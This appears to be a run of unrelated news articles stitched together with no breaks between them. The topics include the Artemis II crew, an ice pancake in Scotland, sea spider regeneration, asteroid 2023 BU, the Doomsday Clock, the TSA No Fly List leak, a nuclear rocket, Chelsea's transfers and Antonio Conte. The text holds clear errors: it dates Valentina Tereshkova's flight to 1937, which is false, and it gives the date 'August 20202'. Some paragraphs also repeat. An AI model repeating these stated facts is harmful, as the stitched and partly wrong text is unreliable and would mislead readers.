Victor Glover (pictured) was selected as an astronaut in 2013 and became the first African American ISS expedition crewmember to live on the ISS seven years later

NASA is set to send the first-ever black astronaut to the moon.

Victor Glover, 46, was selected to take part in the space agency's Artemis II mission  the US' first lunar mission in a half-century.

The Pomona, California, native will be the first person of color to travel into deep space, hundreds of thousands of miles beyond the low-Earth orbiting International Space Station (ISS).

NASA officials say the diverse crew assignments signify the cultural shifts that have taken place since the original Apollo missions, which ended in 1972, at a time when white men dominated space exploration.

Glover was also the first black man to ever live on the International Space Station (ISS) in 2020 and is among 15 African Americans to be selected as an astronaut.

In his esteemed career since being selected as an astronaut in 2013, Mr Glover has logged over 3,000 flight hours in 40 different aircraft.

Artemis II - which will launch in November 2024 - will see the four-man crew orbit the moon in the Orion spacecraft but not land.

Their goal is to test new technology, including heat shields that protects Orion as it travels 24,500 mph in 5,000 degrees Fahrenheit on its way back.

If successful, NASA plans to launch an expedition to land on the moon titled Artemis III. Another success would spell out a trip to Mars for NASA.

I wanna thank God for this Amazing opportunity, Mr Glover said during a new conference Monday.

This is a big day. We have a lot to celebrate. Its so much more than the four names that have been announced. We need to celebrate this moment in human history.

'Artermis II is more than a mission to the Moon and back. Its more than a mission that has to happen before we send people to the surface of the moon. It is the next step on the journey that gets humanity to Mars.

This crew will never forget that.

Mr Glover was born in 1976 in Pomona, around 30 miles east of Los Angeles.

The city is far from the glitz and glamour of Hollywood, known for its high poverty rate and relatively high crime.

Mr Glover grew up in Ponoma, CA, 30 miles east of Los Angeles

He said his parents and teachers served as mentors as him growing up.

'Early on in life it had to be my parents; they encouraged me and challenged me and held me to high standards. Outside of home, I had teachers that did the same,' he told USA Today in 2017.

'They all challenged me, and they encouraged me.'

Mr Glover continued that his teachers and parents urged him to go the engineering school and eventually become a test pilot  leading to him becoming an astronaut.

He graduated from Southern California's Ontario High School in 1994, and went on to attend California Polytechnic State University, before completing his graduate education at Air University and the US Naval Academy.

'Im the first person in my family to graduate from college, and being at graduation with my mom and my dad and my stepdad and my little brothers and my grandparents,' he said to USA Today.

'That was unreal, that was cool and it was special for me.'

In 1999 he was commissioned as part of the US Navy. After completing flight training in Corpus Christy, Texas, he was 'given his wings' and awarded the title of pilot in 2001.

He then moved to San Diego to learn to fly the McDonnell Douglas F/A-18 Hornet, known as one of the Navy's more versatile aircraft.

After spending the next two years training in Florida and Virginia, he was deployed to Iraq in 2004 for six months.

Mr Glover was working in the office of the late Sen John McCain as a legislative fellow when he was selected by NASA to become an astronaut in 2013.

NASA only selects a handful of the thousands of people that apply to be a member of the nation's astronaut corps each year. Only 15 black astronauts have ever been selected out of 348.

A vast majority of the 41 current astronauts have a military background, like Mr Glover.

He completed his astronaut training in 2015. Three years later, he was selected to be a part of the first ever operational flight of SpaceX's Crew Dragon, a reusable aircraft designed by the firm Elon Musk found in 2002.

As part of that mission, he would live on the ISS from November 17, 2020 to May 2, 2021.

The nearly six-month-long stay on the station makes him the first black astronaut to inhabit it.

Jeanette Epps, 52, who was selected to be an astronaut in 2009 is set to become the second African American, and first black woman, to live on the ISS after the launch of Boeing Starliner-1 in 2024 or later.

In 2020, Mr Glover said it was an honor to be the first black person selected to the ISS.

'It is something to be celebrated once we accomplish it, and I am honored to be in this position and to be a part of this great and experienced crew,' he said during a news conference.

'I look forward to getting up there and doing my best to make sure, you know, we are worthy of all the work that's been put into setting us up for this mission.'

In an interview with The Christian Chronicle later that year, he said there were qualified black astronauts that should have earned the honor before him.

'I've had some amazing colleagues before me that really could have done it, and there are some amazing folks that will go behind me,' he said.

'I wish it would have already been done, but I try not to draw too much attention to it.'

Who is Christina Koch? The first female NASA astronaut set to orbit the moon

Christina Koch is set to become the first woman to go around the moon when NASA's Artemis II mission takes off next year.

Christina Koch, 44, from Grand Rapids, Michigan, is set to become the first woman to go around the moon

The Grand Rapids, Michigan native, 44, is already the record-holder for the longest amount of time a woman has spent in space, 328 days, and for taking part in the first all-female spacewalk in 2019.

Selected to become an astronaut in 2013, Ms Koch said she has not followed a 'checklist' in order to become an astronaut  but instead chased her passions whether this be rock climbing, sailing or even learning to surf in her 40s.

She said in 2020: 'I really don't remember a time when I didn't want to be an astronaut.

'For me, I learned that if I was going to be an astronaut, it was because my passions had turned me into someone that could contribute the most as someone contributing to human space flight.'

While she's exploring space, her husband Robert will be left taking care of housework and the couple's puppy, LBD. It is not believed that they have children.

'Am I excited? Absolutely!' she said at a news conference at the crew's announcement Monday.

The one thing I'm most excited about is that we will carry your excitement,your aspirations, your dreams, on this mission.

She also said: We are going to launch from Kennedy space center, we are going to here the words go for launch on top of the most powerful rocket NASAs ever made.

NASA has sent a total of 355 people to space so far, of which some 55 have been women  or 15 percent. It has also sent 24 people to orbit the moon and 12 to walk on the lunar surface who were all men.

Russian Valentina Tereshkova was the first woman to ever leave the earth's atmosphere  setting off in 1937. American women did not get sent to space until 1983.

Ms Koch, however, will make history on the Artemis II mission when she completes her long-awaited trip around the moon.

She revealed her love of space in a video when she was announced as a member of the Artemis I team in 2020.

The astronaut said: 'I am someone who has loved exploration on the frontier since I was little.

'I used to be inspired by the night sky and throughout my career, it's been this balance between engineering for space science missions and doing science in really remote places all over the world.

'I loved things that made me feel small, things that made me ponder the size of the universe, my place in it and everything that was out there to explore.'

She added: 'I didn't necessarily live my life following check boxes of how you could become an astronaut.

'But I followed those passions and one day I looked at what I had become and the skills I had gathered and I asked "could I sit across from a table and present myself as someone who could do this well?". And I thought, I'm going to give this a shot.'

She went to North Carolina State University in Raleigh to get a bachelor's and a master's in Electrical Engineering.

She then became an Electrical Engineer at NASA Goddard Space Flight Center in Greenbelt, Maryland, before becoming a research associate for the United States Antarctic Program  living an entire year in the Arctic.

Ms Koch was one of eight selected as part of NASA's 21st class of astronauts in 2013. After two years of training, she became a full-fledged astronaut.

Her first space flight came in 2019 when she was sent to the International Space Station (ISS) to work as a flight engineer.

She stayed up there for 328 days, taking the record for the longest spaceflight by a woman. The previous record holder, Peggy Whitson, was in space for 288 days.

While in space she also took the record for the first all-women space walk  when an astronaut gets out of a vehicle while in space  with Jessica Meir.

The pair spent seven hours and 17 minutes on the side of the ISS as they worked to replace a power controller. The walk also included a brief call with President Trump.

Upon her return to Earth in 2020, Ms Koch said she felt 'like a baby' who was two weeks old and working hard to hold up its head.

Back on Earth, she lives in Galveston, Texas, just outside of the Houston area.

Among her interests are backpacking, running, yoga, photography and travel.

Now she will be a part of a groundbreaking mission in NASA's goal towards putting a man on Mars.

The Artemis II mission marks NASA's first trip to the moon in half a century. It says it will be performed to help test kit in preparation for getting humans onto Mars.

The agency sent an empty Orion capsule around the moon last year before it returned to Earth in a long-awaited dress rehearsal.

If this latest mission goes well, then another flight to land people on the moon will be sent in 2025  as part of tests ahead of getting people onto Mars.
A hiker captured the incredibly rare phenomenon of an 'ice pancake' on a mountain walk in the Scottish Highlands.

The circular sheet of ice is seen in a glen on the mountain of Beinn Bhuidhe, which is south of Lochan Shira, and north of Achadunan.

Dan Brown, 32, from Dunoon was hiking up the Munro when he came across the rare sight with his father.

He said: 'I was hiking Beinn Bhuidhe, a Munro at the head of Loch Fyne, with my father.

A hiker captured the incredibly rare phenomenon of an 'ice pancake' on a mountain walk in the Scottish Highlands

How do ice pancakes form? Ice pancakes can form in one of two distinct ways, both of which require very specific conditions. In oceans, seas and lakes, ice pancakes form when waves cause forming pieces of ice to knock against each other, rounding their edges as they freeze and grow. 'Small rims are created on the edges as the knocking causes splashing water to freeze and join the rim,' the Met Office explained. Alternatively, ice pancakes can form when foam on a river begins to freeze. The foam joins together, and as it is sucked into an eddy, a circular shape begins to form. 'As other bits of frozen foam and ice hit the forming disc they freeze to it and increase its size,' the Met Office added. While ice pancakes often look like solid discs, they are usually quite slushy and easily break apart when lifted up. 'However, when given the conditions to consolidate, ice pancakes can end up binding with each other to form sheet ice and in rougher conditions waves can move these sheets of ice causing them to bend and crack to create ice ridges,' the Met Office concluded. Advertisement

'We'd taken mountain bikes with us and, for the best part, had been carrying them up a hydro track.

'Visibility wasn't great, but after about an hour-and-a-half the snow stopped and cloud cover started to clear.

'We took a break to fill our water bottles from the burn by the track - that's when we noticed the ice disk slowly spinning at the foot of a small waterfall.'

Both Dan and his father had never seen or experienced an ice disk in the flesh and were taken aback.

He added: 'Neither of us had ever seen anything like it, a perfect circle of ice slowly rotating in the water, so we thought it must be a rare occurrence and took some photographs and videos.

'We assumed at the time that it was caused by the flow of the waterfall meeting the current of the burn, it wasn't until afterwards I read about ice disks and realised this was what we'd witnessed.

'We hadn't encountered anyone else on the hike, it felt like we were the only people for miles around.

'So then to happen across something so serene and perfectly formed, it felt surreal.'

Ice pancakes can range in size from 7.8 inches (20cm) to 78 inches (200cm) wide, and are 'relatively rare', according to the Met Office.

'They are most frequently seen in the Baltic Sea and around Antarctica but also form relatively frequently on the Great Lakes of the United States and Canada,' it explained.

Ice pancakes can form in one of two distinct ways, both of which require very specific conditions.

In oceans, seas and lakes, ice pancakes form when waves cause forming pieces of ice to knock against each other, rounding their edges as they freeze and grow.

Ice pancakes can range in size from 7.8 inches (20cm) to 78 inches (200cm) wide, and are 'relatively rare', according to the Met Office

'Small rims are created on the edges as the knocking causes splashing water to freeze and join the rim,' the Met Office explained.

Alternatively, ice pancakes can form when foam on a river begins to freeze.

The foam joins together, and as it is sucked into an eddy (a swirling current of water), a circular shape begins to form.

'As other bits of frozen foam and ice hit the forming disc they freeze to it and increase its size,' the Met Office added.

While ice pancakes often look like solid discs, they are usually quite slushy and easily break apart when lifted up.

'However, when given the conditions to consolidate, ice pancakes can end up binding with each other to form sheet ice and in rougher conditions waves can move these sheets of ice causing them to bend and crack to create ice ridges,' the Met Office concluded.
It has long been known that different types of arthropods, like centipedes and spiders, are able to grow back limbs after amputation.

Now, scientists have found that some sea spiders are also able to regrow their entire rear ends after losing them - including their anus.

Experts from the University of Greifswald in Germany have witnessed the Pycnogonum litorale sea spider grow back its hindgut, anus, muscles and parts of reproductive organs.

'Nobody had expected this,' said senior author Dr Gerhard Scholtz, from the Humboldt University in Berlin. 'We were the first to show that this is possible.'

Experts from the University of Greifswald in Germany have witnessed the Pycnogonum litorale sea spider restore much more than just their legs. Pictured: Fully regenerated adult sea spider

Regrowth of the posterior was observed in 14 of the young spiders, and 16 of them went on to moult at least once. Pictured: Sea spider regrows its hindgut, anus and two legs after three successive moults, each shown in left, centre and right images

Back in 2016, Dr Scholtz's team witnessed a young sea spider regrow its leg, several months it was accidentally removed in the lab.

Sea spiders are so small that they keep some of their organs, like part of their digestive tract, in their legs.

The researchers also noticed that this spider had grown a gut diverticulum, or outgrowth, in its new leg, as well as part of an ovary.

Sea spiders (pictured) are so small that they keep some of their organs, like part of their digestive tract, in their legs

Back in 2016 , Dr Scholtz's team witnessed a young sea spider regrow its leg (pictured) several months after it was accidentally removed in the lab. Scale bar 5 mm

The team amputated different hind limbs and posterior parts of 19 immature and four adult sea spiders, and monitored the results. Pictured: Juvenile sea spider after the last quarter of its body, including two legs, hindgut and anus, were amputated

WHAT ARE SEA SPIDERS? Sea spiders are marine arthropods which are distantly related to arachnids. Like regular spiders, however, they also typically have eight main appendages - through which they also take in oxygen by means of diffusion. They number in the region of 1,300 individual species. Sea spiders range in size from just a few millimetres across to ones that span as much as 20 inches (50 centimetres). While most commonly spotted in shallow waters, they can also live as deep as 23,000 feet (7,000 metres) underwater. Sea spiders are carnivorous and either predatory or parasitic. They will generally eat other creatures like sponges, moss animals and worms - while some take bites from, but do not completely kill, molluscs. Advertisement

For the study, published in Proceedings of the National Academy of Sciences, the team set out to further investigate how much of its body P. litorale can regrow.

The researchers amputated different hind limbs and posterior parts of 19 immature and four adult sea spiders, and monitored the results.

Many of the juvenile specimens experienced a complete or a near-complete regeneration of the missing body parts.

Regrowth of the posterior was observed in 14 of the young spiders, and 16 of them went on to moult at least once.

Moulting is the process of shedding their existing exoskeleton when their body grows too large for it, and they have grown a new one that is folded up underneath.

However, the regrowth did not go perfectly every time, as some of the sea spiders only ended up with six or seven legs, rather than eight.

Indeed, two of the young spiders did not recover any part of their rear body after amputation, and survived with just four legs.

They also had no anus, so instead were forced to regurgitate their excrement through their mouths.

While 90 per cent of all the spiders survived long-term, none of the adult specimens moulted or regenerated.

Despite this, some of them are still alive two years later.

The researchers believe the older spiders' lack of ability to regenerate is linked to the fact that they no longer moult their tough exoskeleton.

However, the regrowth did not go perfectly every time, as some of the spiders only ended up with six or seven legs rather than eight. Pictured: An amputated sea spider with three stubs which could reform into its rear two body segments. These would include its two pairs of hind legs as well as its anus and hindgut

Regeneration capabilities vary throughout the animal kingdom.

Flatworms, for example, can regrow their body from just a few cells.

'Crabs can even automatically get rid of their limbs if they are attacked,' said Dr Scholtz. 'They replace it by a new limb.'

Vertebrates, which include humans, have virtually no regeneration capability, with some exceptions such as lizards which can regrow tails.

Left: An amputated sea spider missing both its rear body segments and any stubs that could reform them. Centre: After this spider's first moult, it shows no sign of regrowth. Right: After its third moult it still had not regrown any of its missing body parts. As it had no anus, it was forced to regurgitate its excrement through its mouth

Dr Scholtz said the findings could pave the way for further research in the field.

'There's a wealth of different species that can be tested in this way,' he said.

The next step may be to try to discover the mechanism behind the regrowth, and see if any other arthropods possess this ability.

'We can try to find out on the cellular level and the molecular level what indicates the regeneration,' he said.

'Perhaps there are stem cells involved which are undifferentiated cells that can assume new shape and fate?'

He added: 'In the end, maybe the mechanisms we detect in arthropods may help medical treatments of limb loss or finger loss and so on in humans. This is always the hope.'
An asteroid the size of a London bus will make the fourth closest approach to Earth on record this week.

The space rock, known as 2023 BU, was only discovered by NASA last weekend but is set to come within 2,100 miles (3,400 km) of our planet's surface this Friday (January 27) at about 00:30 GMT (19:30 ET on Thursday).

Most asteroids pass beyond the distance of the moon  which is 240,000 miles away  but this one is far closer and will be the nearest for 300 years.

The object is about half the size of the famous Chelyabinsk meteor that hit Earth in 2013.

Don't look up! An asteroid the size of a London bus, known as 2023 BU, will make the fourth closest approach to Earth on record this week (stock image)

The space rock, known as 2023 BU, was only discovered by NASA last weekend but is set to come within 2,100 miles (3,400 km) of our planet's surface this Friday (January 27) at about 00:30 GMT (19:30 ET on Thursday)

What is a 'potentially hazardous' asteroid? A potentially hazardous asteroid (PHA) is an asteroid whose orbit comes nearer than 0.05AU (about 7.5 million km) to the Earth. It also is at least 100 metres (300 feet) in diameter. The International Astronomical Union claims there are around 1,500 potential hazardous asteroids. Although these are not a risk to Earth as of yet, asteroid this large have the potential to cause devastation if they were to land on our planet, especially in highly-populated areas. It is believed one hits Earth once every 200-300 years. Advertisement

The asteroid is due to make the fourth closest pass of more than 35,000 past and future Earth approaches, according to NASA's Center for Near Earth Object Studies (CNEOS), which holds data covering the period from 1900 to 2200.

A live stream, hosted by the Virtual Telescope Project (VTP) in Italy, will be made available for people to witness the event from 19:15 GMT (14:15 ET) on Thursday.

This will be the only way to see the asteroid - 2023 BU is so small that it will shine at a maximum of 11.3 magnitude, which is too faint to be see with the naked eye.

Instead, it has to be picked up by large, powerful telescopes, such as the VTP's 14-inch and 17-inch robotic ones in Ceccano.

The space rock will race past Earth at 33,000 mph at a distance of 6,500 miles (10,500 km) from the centre of our planet and 2,100 miles (3,400 km) from the surface.

It measures about 12.4 by 27.8 feet, which is around the same size as the original Routemaster London bus.

Even though it was only spotted five days ago, experts have calculated its orbit and insist there is no chance of 2023 BU hitting Earth on this particular approach.

However, even if it did there is a good chance it wouldn't reach the surface.

Space rocks that are smaller than 82 feet (25 metres) across most likely burn up if they enter the Earth's atmosphere, NASA says, causing little to no damage on the ground.

Although it won't impact us, by some definitions the asteroid will technically pass through the uppermost region of our planet's atmosphere, which is known as the 'exosphere'.

This is said to extend from around 6,000 miles (10,000 km) up to a maximum distance of 120,000 miles (193,000 km) above Earth.

Comparison: The space rock measures about 12.4 by 27.8 feet, which is around the same size as the original Routemaster London bus

Even though it was only spotted five days ago, experts have calculated its orbit (pictured) and insist there is no chance of 2023 BU hitting Earth on this particular approach

A live stream, hosted by the Virtual Telescope Project (VTP) in Italy, will be made available for people to witness the event from 19:15 GMT (14:15 ET) on Thursday

Known as 2023 BU, the object is about half the size of the famous Chelyabinsk meteor (pictured) that hit Earth 2013. It will be at its nearest point to Earth this Friday (January 27) at about 00:30 GMT (19:30 ET on Thursday)

Why has asteroid 2023 BU only just been seen? Some asteroids can 'sneak up' on us thanks to a quirk of the Earth's rotation that makes them seem like they are barely moving  making them hard to detect. This is the warning of NASA-funded experts who investigated how telescopes nearly missed a 328-feet-wide asteroid that came within 43,500 miles of Earth back in 2019. The space rock, dubbed '2019 OK', was the first object of its size to get that close to our planet since 1908  but it was only spotted 24 hours before its closest approach. The reason, the team determined, is because it was moving towards us in such a way that its motion across the night sky was counteracted by the Earth's spin. Thus  to early warning systems like Pan-STARRS1 at Hawaii's Haleakala Observatory  2019 OK looked stationary, so did not set off the automated detection software. In fact, the experts said, up to half of asteroids approaching Earth from a danger zone east of 'opposition' likely undergo periods of such apparent slow motion. Advertisement

However, most scientists don't consider this region to be a true part of the Earth's atmosphere because the air is so thin.

Nevertheless, asteroid 2023 BU will pass well within the orbit of geostationary satellites above South America, but still far away from the International Space Station at 250 miles (400 km) from the Earth.

The space rock was discovered by astronomer Gennadiy Borisov at the Crimean Astrophysical Observatory in Nauchnyi, Crimea on Saturday.

He is famous for spotting the first comet ever seen that had travelled into the solar system from interstellar space, called 2I/Borisov.

2023 BU orbits the sun every 425 days, while its path occasionally intersects Earth's orbital trajectory around our star.

It will next pass relatively close to us on December 6, 2036, but on that occasion will be well beyond the orbit of the moon.

NASA deems the asteroid a 'near-Earth object' (NEO) because its orbit sees it come within 120 million miles (195 million km) of the sun, but it is not a 'potentially hazardous asteroid' because it is not large enough to cause significant damage in the event of impact.

In February 2013, a meteor that blazed across southern Urals and came down in Chelyabinsk, Russia was the largest recorded meteor strike in more than a century.

More than 1,600 people were injured by the shock wave from the explosion, estimated to be as strong as 20 Hiroshima atomic bombs, as it landed near the city.

The fireball, measuring 60ft (19 metres) across, screamed into Earth's atmosphere at 41,600 mph and much of it landed in a local lake called Chebarkul.

Last year, experts warned that some asteroids can 'sneak up' on us thanks to a quirk of the Earth's rotation that makes them seem like they are barely moving  making them hard to detect.

In fact, they said up to half of asteroids approaching Earth from a danger zone east of 'opposition' likely undergo periods of such apparent slow motion.

The NASA-funded experts investigated how telescopes nearly missed a 328-feet-wide asteroid that came within 43,500 miles of Earth back in 2019.
The Doomsday Clock  used to represent how close the world is to catastrophe  now stands at just 90 seconds to 'midnight.'

Experts who run the clock, which is symbolic and not an actual clock, said Russia's war in Ukraine is why humankind is the 'closest it has ever been to annihilation.'

The clock had been sitting at 100 seconds from midnight since 2020 due to the COVID-19 pandemic and global warming fears. But the threat of nuclear weapons being used on the battlefield has upgraded the threat level.

Rachel Bronson, CEO of the Bulletin of the Atomic Scientists who developed the clock, said: 'The possibility that the conflict could spin out of anyone's control remains high.'

Tuesday's announcement also marks the closest the Doomsday Clock has been since its inception in 1947.

The Doomsday Clock is the closest it has been to global catastrophe after this annual update on Tuesday that brought the hypothetical timekeepers 90 seconds to midnight

Every January since 1947, the Bulletin has determined how close humankind is to annihilation by pulling the current off the clock.

The Doomsday Clock was founded by US scientists involved in the Manhattan Project, which led to the first nuclear weapons during World War II, and is a symbolic countdown to represent how close humanity is to complete global catastrophe.

Artist Martyl Langsdorf was commissioned to make the clock and told to create an image that would 'frighten men into rationality,' according to Eugene Rabinowitch, the first editor of the Bulletin of Atomic Scientists.

The time is determined by the group of scientists who look at events throughout the year.

This is the closest the Doomsday Clock has been moved to midnight in 76 years

The clock was founded by US scientists involved in the Manhattan Project, which led to the first nuclear weapons during World War II and is a symbolic countdown representing how close humanity is to complete global catastrophe. Pictured is the unveiling in 1947

This can include politics, energy, weapons, diplomacy and climate science, along with potential sources of threat like nuclear threats, climate change, bioterrorism and artificial intelligence.

And It has been set backward and forward 25 times since 1947.

The Bulletin's announcement woefully points to the ongoing war between Ukraine and Russia, which has killed more than 33,000 people combined.

The change is largely due to the war in Ukraine, which the Science and Security Board of the Bulletin of the Atomic Scientists fear will carry on for its second year

The announcement also notes that Russia's continued threat to use nuclear weapons was also part of the decision to move the Doomsday Clock

There has been a total of 7,068 civilian deaths during s of January 22, 2023, 438 of which were children.

Russia invaded Ukraine on February 24, 2022, in a major escalation in the war between the nations that has been ongoing since 2014.

'Russia's war on Ukraine has raised profound questions about how states interact, eroding norms of international conduct that underpin successful responses to a variety of global risks,' explained the Doomsday Clock statement.

'And worst of all, Russia's thinly veiled threats to use nuclear weapons remind the world that escalation of the conflictby accident, intention, or miscalculationis a terrible risk.

'The possibility that the conflict could spin out of anyone's control remains high . . .. Russia has also brought its war to the Chernobyl and Zaporizhzhia nuclear reactor sites, violating international protocols and risking widespread release of radioactive materials. Efforts by the International Atomic Energy Agency to secure these plants so far have been rebuffed.'

The scientists also highlight that Russia brought the war to Chernobyl and Zaporizhzhia nuclear reactor sites in August 20202,

Rachel Bronson, CEO of the Bulletin of the Atomic Scientists who developed the clock, said: 'The possibility that the conflict could spin out of anyone's control remains high'

The scientists also highlight that Russia brought the war to Chernobyl and Zaporizhzhia nuclear reactor sites in August 20202, violating international protocols and risking widespread release of radioactive materials.

This move has also sparked fear of another nuclear disaster.

Vladimir Putin issued a chilling threat to use nuclear weapons against the West last September.

He vowed to use 'all means' to defend the regions, saying: 'If the territorial integrity of our country is threatened, we will use all available means to protect Russia and our people - this is not a bluff... I shall stress - by all means available to us.

'Those trying to blackmail us with nuclear weapons should know that the tables can turn on them.'

Mary Robinson, Chair of The Elders and former UN High Commissioner for Human Rights, said: 'The Doomsday Clock is sounding an alarm for the whole of humanity. We are on the brink of a precipice.

'But our leaders are not acting at sufficient speed or scale to secure a peaceful and liveable planet. From cutting carbon emissions to strengthening arms control treaties and investing in pandemic preparedness, we know what needs to be done. The science is clear, but the political will is lacking.

The clock has been sitting at 100 seconds from midnight since 2020 due to the COVID-19 pandemic and global warming fears. Pictured is the clock's unveiling last year

'This must change in 2023 if we are to avert catastrophe. We are facing multiple, existential crises. Leaders need a crisis mindset.'

Ban Ki-moon, Deputy Chair of The Elders and former Secretary-General of the United Nations, shared that he helped unveil the symbolic timepiece three years ago when it was last moved.

'Today they are even closer to midnight, showing how much more perilous our world has become in the wake of the COVID-19 pandemic, extreme weather events and Russia's outrageous war on Ukraine,' Ki-moon said.

'Leaders did not heed the Doomsday Clock's warnings in 2020. We all continue to pay the price. In 2023 it is vital for all our sakes that they act.'
A copy of the Transportation Security Administration's (TSA) No Fly List, which contains 1.5 million entries, was leaked online after a Swiss hacker discovered it on an unprotected server.

As first reported on by The Daily Dot, the list includes names of potential IRA members, many of Middle Eastern descent and the recently freed Russian arms dealer Viktor Bout - among others.

The hacker, who goes by the name crimew, shared on their blog that the list 'is indeed a copy of the No Fly List from 2019' and includes airline employee names, addresses, passport numbers and pilots' license numbers.

A TSA spokesperson told DailyMail.com that the organization is 'aware of a potential cybersecurity incident' and is collecting questions about the leak to answer at some point shortly.

The TSA's No Fly List, with 1.5 million entries, was accessed online due to the server being unprotected

The No Fly list includes names of known or suspected terrorists who are banned from flying to or in the US.

The screening program grew out of the September 11, 2001, terrorist attacks and involved airlines comparing their passenger records with federal data to keep dangerous people off planes.

However, the list has since shrunk over the years.

The server is run by CommuteAir, which is why there were nearly 1,000 employees shown in the trove of data.

Erik Kane, corporate communications manager for CommuteAir, said there was a 'misconfiguration, which caused the server to be exposed.

'The researcher accessed files, including an outdated 2019 version of the federal no-fly list that included first and last name and date of birth,' Kane said in a statement.

'Additionally, through information found on the server, the researcher discovered access to a database containing personal identifiable information of CommuteAir employees.'

crimew shared a blog about their discovery, which they made while scrolling through specialized search engine Shodan, which lets people see through servers connected to the internet.

And the hacker notes it was through their boredom that they uncovered the TSA's No Fly List.

'Hardcoded credentials there would allow me access to navblue apis for refueling, canceling and updating flights, swapping out crew members and so on,' the post reads.

News of the leak surfaced Friday, which sparked US officials to weigh in on the breach.

Republican Congressman Dan Bishop shared a tweet: 'Besides the fact that the list is a civil liberties nightmare, how was this info so easily accessible? Well be coming for answers.'

The list includes names of potential IRA members, many of Middle Eastern descent and the recently freed Russian arms dealer Viktor Bout (pictured) - among others

The hacker, who goes by crimew (pictured), shared on their blog that the list 'is indeed a copy of the No Fly List from 2019

The breach follows a computer glitch in the Federal Aviation Authority (FAA) system that led to more than 10,000 delays and over 1,000 cancelations on January 12.

Major airports including JFK, LAX, Miami and Atlanta all had issues two days after the computer meltdown, with experts fearing it may continue into the weekend.

The FAA confirmed on January 20 that a computer glitch caused by a contractor mistakenly deleting files brought America's airspace to a standstill last week for the first time since 911 - but has not named the culprit.

A preliminary report showed that 'contract personnel unintentionally deleted files while working to correct synchronization between the live primary database and a backup database,' the FAA said.

The investigation is ongoing, but the agency said it has not yet found any evidence linking the incident to malicious intent or a cyber attack.
NASA revealed Tuesday it is building a nuclear-powered rocket that could send humans to Mars much faster than the traditional craft - it currently takes seven months to reach the Red Planet.

The American space agency partnered with the Defense Advanced Research Projects Agency (DARPA) on the Demonstration Rocket for Agile Cislunar Operations (DRACO) program that will be tested in 2027.

A nuclear thermal rocket (NTR) offers a high thrust-to-weight ratio of around 10,000 times greater than electric propulsion and two-to-five times greater efficiency than in-space chemical propulsion.

The team plans to use previous NTR models to design DRACO, while providing it with a modern touch - the last technology tested on the ground was more than 50 years ago.

NASA and DARPA are working on a nuclear rocket that could take humans to Mars much faster - dramatically reducing the current seven-month journey

The space agency has studied the concept of nuclear thermal propulsion for decades.

This technology introduces heat from a nuclear fission reactor to a hydrogen propellant to provide a thrust believed to be far more efficient than traditional chemical-based rocket engines.

Along with faster transit, the groups said NTR would reduce the risk for astronauts because they will not be traveling through space as long.

That would substantially reduce the time astronauts would be exposed to deep-space radiation and require fewer supplies, such as food and other cargo, during a trip to Mars.

NASA is eyeing the late 2030s for when it will send humans to the Martian world.

'If we have swifter trips for humans, they are safer trips,' NASA deputy administrator and former astronaut Pam Melroy said Tuesday.

NTR transfers heat from the reactor directly to a gaseous hydrogen propellant.

Heated hydrogen expands through a nozzle to provide thrust to propel a spacecraft.

And materials inside the fission reactor must be able to survive temperatures above 4,600 degrees Fahrenheit.

NASA has had NTR on its radar for more than 60 years and first embarked on the mission in 1961.

This led the then-NASA Marshall Space Flight Center director and rocket pioneer, Wernher von Braun, to advocate for a proposed mission, dispatching a dozen crew members to Mars aboard two rockets.

Each rocket would be propelled by three Nuclear Engine for Rocket Vehicle Application (NERVA) engines - designs drafted in 1961.

As detailed by von Braun, that expeditionary crew would launch to the Red Planet in November 1981 and land on that distant world in August 1982.

In presenting his visionary plan in August 1969 to a Space Task Group, von Braun explained that 'although the undertaking of this mission will be a great national challenge, it represents no greater challenge than the commitment made in 1961 to land a man on the moon.'

However, this vision of human boots on Mars ended in 1972 when priorities shifted and space budgets were cut.

A nuclear-powered rocket would substantially reduce the time astronauts would be exposed to deep-space radiation and require fewer supplies, such as food and other cargo, during a trip to Mars

Fast forward to the present, and NASA is back on the path to the Red Planet and has enlisted help from the US government to make it happen.

Dr Stefanie Tompkins, director at DARPA, said in a statement: 'DARPA and NASA have a long history of fruitful collaboration in advancing technologies for our respective goals, from the Saturn V rocket that took humans to the Moon for the first time to robotic servicing and refueling of satellites.

'The space domain is critical to modern commerce, scientific discovery, and national security.

'The ability to accomplish leap-ahead advances in space technology through the DRACO nuclear thermal rocket program will be essential for more efficiently and quickly transporting material to the Moon and eventually, people to Mars.'
UEFA are set to close the loophole which has enabled Chelsea to spread the cost of their record transfer spending over up to eight years after receiving complaints from other Premier League clubs.

Sportsmail revealed last Saturday that a number of Chelsea's top-flight rivals had accused the club of attempting to cheat FFP regulations by using amortisation to spread the cost of Mykhailo Mudryk's 88million fee over eight years for accounting purposes.

FIFA statutes already set five years as the maximum contract length, but exceptions are permitted, which Chelsea have utilised to defer much of the cost of the record 460million transfer spending since Todd Boehly bought the club last July.

Recent 88m signing Mykhaylo Mudryk signed the Premier League's longest contract ever

In addition to Mudryk, who signed the longest contract in the history of the Premier League, French defender Benoit Badiashile and Ivory Coast striker David Datro Fofana both signed six-and-a-half year deals this month after the arrivals of Wesley Fofana and Marc Cucurella on seven and six-year contracts respectively last summer.

Having been alerted to what appears to be a clear trend by other clubs UEFA have reacted, and are planning to set a five-year limit for the time over which a player's transfer fee can be spread from next summer.

The rule change will not affect Chelsea's recent signings, but is likely to limit their room for manouvre in subsequent transfer windows.

The Premier League side have splashed out 460m under co-owner Todd Boehly

Chelsea's lavish spending over the summer and January transfer windows has shattered records, with the figure of 460m already the highest in the world and the highest in Premier League history, and expected to rise further.

The previous record was set by Manchester City, who spent 328.1 million in 2017-18.

Chelsea have been able to add to their squad while also keeping within Financial Fair Play rules
Antonio Conte has reinstated his allegiance to Tottenham despite recent uncertainty surrounding the Italian's future in north London.

The Spurs boss was speaking after his side's 1-0 victory over Fulham in a closely contested Premier League affair, separated only be Harry Kane's first-half strike.

And, following the win, Conte revealed his star striker played despite a 'fever' in the week after he had reiterated his commitment to his role as Tottenham manager.

Antonio Conte reiterated his allegiance to Spurs after their win over Fulham on Monday

Conte went on to reveal that matchwinner Harry Kane played with a 'fever' on the night

The Spurs boss said: 'I got a good answer from my players. They decided to fight, we showed again when you play as a team it is difficult to play against us. I was happy with our performance in the last few games but we had two losses.

'When I see the attitude and the spirit to fight together, it is very important. If we want o continue to dream, we have to decide to be a team, to help each other. Make it difficult to play against us.

'In this period, you can improve. We are fifth in the table, we are keeping up with expectation, we have to fight until the end and see where we finish.

'I'm really proud to be Tottenham manager. This has to be very clear for everybody. For this reason I try to fight from the start until the end.'

Conte has been linked with an exit from Spurs in the near future, with his contract coming to an end in the summer and the team's form appearing to plateau.

